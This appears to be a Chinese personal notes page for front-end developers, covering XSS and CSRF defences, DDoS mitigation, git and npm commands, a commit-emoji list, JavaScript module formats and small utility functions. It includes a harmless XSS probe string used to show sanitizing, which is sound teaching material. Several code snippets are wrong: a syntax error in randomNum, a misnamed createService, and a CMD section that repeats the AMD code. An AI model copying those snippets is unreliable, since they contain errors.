富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html)
1
2
3
4
  • HttpOnly Cookie

    这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息。

response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
1

# CSRF

CSRF(Cross Site Request Forgery)

即跨站请求伪造,是一种常见的 Web 攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作

# CSRF 攻击危害

  • 利用用户登录态
  • 用户不知情
  • 完成业务请求
  • 盗取用户资金(转账,消费)
  • 冒充用户发帖背锅
  • 损害网站声誉

# 防御

  • 禁止第三方网站带 Cookie - 有兼容性问题
  • Referer Check - Https 不发送 referer
app.use(async (ctx, next) => {
  await next()
  const referer = ctx.request.header.referer
  console.log('Referer:', referer)
})
1
2
3
4
5
  • 验证码

# 点击劫持 - clickjacking

# SQL 注入

# OS 命令注入

# 请求劫持

# DDOS

# 防御手段

  • 备份网站 备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网站出了问题,正在全力抢修。
  • HTTP 请求的拦截 高防 IP
  • 靠谱的运营商 Docker 硬件服务器防火墙
  • 带宽扩容 + CDN 提高犯罪成本

# git

# git: 命令 && 表情


Git 管理的文件分为:工作区,版本库,版本库又分为暂存区 stage 和暂存区分支 master(仓库)
工作区>>>>暂存区>>>>仓库
git add 把文件从工作区>>>>暂存区,git commit 把文件从暂存区>>>>仓库,
git diff 查看工作区和暂存区差异,git diff --cached 查看暂存区和仓库差异,git diff HEAD 查看工作区和仓库的差异,
git add 的反向命令 git checkout,撤销工作区修改,即把暂存区最新版本转移到工作区,
git commit 的反向命令 git reset –-soft,就是把仓库最新版本转移到暂存区。
git revert 反向操作某一条记录
git tag v0.9 f52c633 / git tag -d v0.9 / git push origin :refs/tags/v0.9 打 tag
git log git reflog 查看 log/查看所有 log
git commit –amend 修改 commit 信息
git cherry-pick 合并某个 commit
1
2
3
4
5
6
7
8
9
10
11
12
表情列表

在 commit 时添加一个 emoji 表情图标

git commit -m ':emoji: 此次提交的内容说明'

添加多个 emoji 表情图标

git commit -m ':emoji1: :emoji2: :emoji3: 此次提交的内容说明'

emoji emoji 代码 commit 说明
(调色板) 🎨 改进代码结构/代码格式
(闪电) ⚡️ 🐎 提升性能
(火焰) 🔥 移除代码或文件
(bug) 🐛 修复 bug
(急救车) 🚑 重要补丁
(火花) ✨ 引入新功能
(备忘录) 📝 撰写文档
(火箭) 🚀 部署功能
(口红) 💄 更新 UI 和样式文件
(庆祝) 🎉 初次提交
(白色复选框) ✅ 增加测试
(锁) 🔒 修复安全问题
(苹果) 🍎 修复 macOS 下的问题
(企鹅) 🐧 修复 Linux 下的问题
(旗帜) :checked_flag: 修复 Windows 下的问题
(书签) 🔖 发行/版本标签
(警车灯) 🚨 移除 linter 警告
(施工) 🚧 工作进行中
(绿心) 💚 修复 CI 构建问题
(下降箭头) ⬇️ 降级依赖
(上升箭头) ⬆️ 升级依赖
(工人) 👷 添加 CI 构建系统
(上升趋势图) 📈 添加分析或跟踪代码
(锤子) 🔨 重大重构
(减号) ➖ 减少一个依赖
(鲸鱼) 🐳 Docker 相关工作
(加号) :heavy_plug_sign: 增加一个依赖
(扳手) 🔧 修改配置文件
(地球) 🌐 国际化与本地化
(铅笔) ✏️ 修复 typo

# npm

# npm: 相关命令

相关命令
// nrm 相关命令
npm i nrm -g
nrm // 展示 nrm 可用命令
nrm ls // 列出已经配置的所有仓库
nrm test // 测试所有仓库的响应时间
nrm add <registry> <url> // 新增仓库
nrm use <registry> // 切换仓库

// 创建 package.json
npm init
// 发布
npm publish
npm publish --access public
// 登录
npm adduser
// 加作用域
npm init --scope=@mypridelife -y
// 下载
npm i name
npm rm name
// 迭代
npm version <major | minor | patch>
// 查看版本
npm view name versions
// 更新
npm up name
// 废弃
npm deprecate <pkg>[@<version>] <message>
// 删除已发布
npm unpublish xxx --force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# npm: About semantic versioning

Code status Stage Rule Example version
First release New product Start with 1.0.0 1.0.0
Backward compatible bug fixes Patch release Increment the third digit 1.0.1
Backward compatible new features Minor release Increment the middle digit and reset last digit to zero 1.1.0
Changes that break backward compatibility Major release Increment the first digit and reset middle and last digits to zero 2.0.0

# npm: npm-package.json

npm-package.json

# npm: node_modules .bin

Q1: scripts 里面配置的 mocha 是哪来的呢? 答:通过 npm 启动的脚本,会默认把 node_modules/.bin 加到 PATH 环境变量中 具体文档

Q2: node_modules/.bin/mocha 是哪来的? 答:当某个模块配置了 bin 定义时,就会被安装的时候,自动软链了过去。 具体文档

{
  "name": "mocha",
  "bin": {
    "mocha": "./bin/mocha"
  }
}
1
2
3
4
5
6

# Modules

# Modules: CJS 规范

规范代表库:CommonJS

common.js 主要用于后端,在 nodejs 中,node 应用是由模块组成,采用的 commonjs 模块规范。每一个文件就是一个模块,拥有自己独立的作用域,变量,以及方法等,对其他的模块都不可见。 模块可以多次加载,但是只会在第一次加载时运行一次,然后运行结果就被缓存了,以后再加载,就直接读取缓存结果。要想让模块再次运行,必须清除缓存。 模块加载的顺序,按照其在代码中出现的顺序。

展开查看
// 定义模块math.js
var basicNum = 0;
function add(a, b) {
  return a + b;
}
module.exports = { //在这里写上需要向外暴露的函数、变量
  add: add,
  basicNum: basicNum
}

/** 必须加./路径,不加的话只会去node_modules文件找 **/
// 引用自定义的模块时,参数包含路径,可省略.js
var math = require('./math');
math.add(2, 5);

// 引用核心模块时,不需要带路径
var http = require('http');
http.createService(...).listen(3000);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# Modules: AMD 规范

规范代表库:require.js

RequireJS 是一个 JavaScript 模块加载器(文件和模块载入工具),使用 RequireJS 加载模块化脚本将提高代码的加载速度和质量它针对浏览器使用场景进行了优化,并且也可以应用到其他 JavaScript 环境中,例如 Rhino 和 Node.js。

展开查看
/** 网页中引入require.js及main.js **/
;<script src="js/require.js" data-main="js/main"></script>

/** main.js 入口文件/主模块 **/
// 首先用config()指定各模块路径和引用名
require.config({
  baseUrl: 'js/lib',
  paths: {
    jquery: 'jquery.min', //实际路径为js/lib/jquery.min.js
    underscore: 'underscore.min',
  },
})
// 执行基本操作
require(['jquery', 'underscore'], function ($, _) {
  // some code here
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# Modules: CMD 规范

规范代表库:sea.js

SeaJS 是一个 JavaScript 模块加载框架,可以实现 JavaScript 的模块化开发及加载机制。 CMD 与 AMD 很类似,不同点在于:AMD 推崇依赖前置、提前执行,CMD 推崇依赖就近、延迟执行。此规范其实是在 sea.js 推广过程中产生的。

展开查看
/** 网页中引入require.js及main.js **/
;<script src="js/require.js" data-main="js/main"></script>

/** main.js 入口文件/主模块 **/
// 首先用config()指定各模块路径和引用名
require.config({
  baseUrl: 'js/lib',
  paths: {
    jquery: 'jquery.min', //实际路径为js/lib/jquery.min.js
    underscore: 'underscore.min',
  },
})
// 执行基本操作
require(['jquery', 'underscore'], function ($, _) {
  // some code here
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# Modules: UMD 规范

UMD 规范只是一种通用的写法,是在 amd 和 cjs 两个流行而不统一的规范情况下,才催生出 umd 来统一规范的,umd 前后端均可通用。

展开查看
;(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    // AMD
    define(['jquery', 'underscore'], factory)
  } else if (typeof exports === 'object') {
    // Node, CommonJS之类的
    module.exports = factory(require('jquery'), require('underscore'))
  } else {
    // 浏览器全局变量(root 即 window)
    root.returnExports = factory(root.jQuery, root._)
  }
})(this, function ($, _) {
  // 属性
  var PI = Math.PI

  // 方法
  function a() {} // 私有方法,因为它没被返回
  function b() {
    return a()
  } // 公共方法,因为被返回了
  function c(x, y) {
    return x + y
  } // 公共方法,因为被返回了

  // 暴露公共方法
  return {
    ip: PI,
    b: b,
    c: c,
  }
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# Modules: ESM 规范

esm 规范是 es6 原生支持的,很多浏览器开始支持,类似 commonjs 的写法和同、异步加载机制能通过设置 type=module,用于 html 中,而且在 node 中也开始支持啦!

export 向外暴露或导出模块 export default xxx;

import 引入暴露或导出的模块 import {xx, xx} from './xxx.js';

展开查看
/** 定义模块 math.js **/
var basicNum = 0
var add = function (a, b) {
  return a + b
}
export { basicNum, add }

/** 引用模块 **/
import { basicNum, add } from './math'
function test(ele) {
  ele.textContent = add(99 + basicNum)
}
1
2
3
4
5
6
7
8
9
10
11
12
CJS&ES6展开查看
// commonjs 导出
var x = 5
var addX = function (value) {
  return value + x
}
module.exports.x = x
module.exports.addX = addX
//or
module.exports = {
  x,
  addX,
}
// commonjs 导入
var example = require('./example.js')
console.log(example.x) // 5
console.log(example.addX(1)) // 6
// exports,相当于最上面有一行
var exports = module.exports
exports.area = function (r) {
  return Math.PI * r * r
}
exports.circumference = function (r) {
  return 2 * Math.PI * r
}
// es6 第一组
export default function crc32() {
  // 输出
  // ...
}
import crc32 from 'crc32' // 输入
// es6 第二组
export function crc32() {
  // 输出
  // ...
}
import { crc32 } from 'crc32' // 输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 常用函数

# 生成从 minNum 到 maxNum 的随机数

// 生成从minNum到maxNum的随机数
function randomNum(minNum, maxNum) {
      return (Math.random() * (maxNum - minNum + 1) + minNum).toFixed(2);
    // 或者 Math.floor(Math.random()*( maxNum - minNum + 1 ) + minNum );
  }
}
1
2
3
4
5
6

# js: 获取 url 中的参数

// 获取url中的参数
function getUrlParam(name) {
  var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)') // 构造一个含有目标参数的正则表达式对象
  var r = window.location.search.substr(1).match(reg) // 匹配目标参数
  if (r != null) return unescape(r[2])
  return null // 返回参数值
}
1
2
3
4
5
6
7
// throttle节流
function throttle(func, wait) {
  let lastTime = 0
  return (...args) => {
    const now = +new Date()
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}
// debounce防抖
function debounce(func, wait) {
  let timer = null
  return (...args) => {
    if (timer) {
      clearTimeout(timer)
    }
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

function onScroll() {
  console.log('===scroll===')
}
window.onscroll = debounce(onScroll, 1000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Edit on GitHub~
LastUpdated: 5/17/2022, 8:59:22 AM